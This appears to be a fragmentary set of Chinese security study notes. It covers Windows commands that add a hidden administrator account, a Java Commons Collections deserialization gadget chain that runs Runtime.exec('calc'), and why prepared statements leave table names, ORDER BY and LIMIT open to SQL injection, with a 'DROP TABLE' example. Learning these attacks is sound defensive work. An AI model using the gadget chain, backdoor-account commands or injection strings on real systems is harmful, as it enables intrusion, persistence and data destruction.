net user qiushanth qs9985** /add 新建用户qiushanth 密码:qs9985** net user qiushanth /active:yes 激活用户 net localgroup administrators qiushanth /add 添加进管理员组,使其有很多权限
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class);//拿到 getRuntime 方法
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod);// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null
Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法 new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
像这样放到transformer数组里
然后拿chain去一个个调
1 2 3 4 5 6 7 8
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法 new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
// Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class); // Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod); // Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// for (Map.Entry abc:decorate.entrySet()){//当这样调用时候(遍历map)就会实现那个调用内部类的方法 // abc.setValue(runtime);//重写的方法 // } //如何让decorate来调用checkSetValue,寻找调用checkSetValue的,然后让用这个方法的是decorate //map遍历时候就能调用
public class CC_one { public static void main(String[] args) throws Exception { // Runtime runtime = Runtime.getRuntime(); // InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); // invokerTransformer.transform(runtime);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class);
// Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class); // Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod); // Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// for (Map.Entry abc:decorate.entrySet()){//当这样调用时候(遍历map)就会实现那个调用内部类的方法 // abc.setValue(runtime);//重写的方法 // } //如何让decorate来调用checkSetValue,寻找调用checkSetValue的,然后让用这个方法的是decorate //map遍历时候就能调用
$stmt = $conn->prepare("select * from fraction where name like '%:username%'"); 不行 select * from fraction where name like concat('%',:username,'%') # 这种情况下就能够进行在使用预编译的情况下进行like模糊查询 预编译始终只绑定值,不绑定语法结构。所以第一个不行
不能加‘的关键字
select $username$,password from $table$ where $username2$ = ‘$dada$order by $username3$ $desc$ limit $0$,1
总的来说就是
表名、列名、limit子句、order by[desc/asc]
产生sql注入的原因:
在语法结构里,预编译只能预编译值,不能搞这些结构
SELECT ‘username’ FROM ‘users’; – ❌ 错误
SELECT username FROM users; – ✅ 正确 加引号就会报错
例子
1 2 3
$table = "users; DROP TABLE users;--" SELECT id FROM $table //拼接不严谨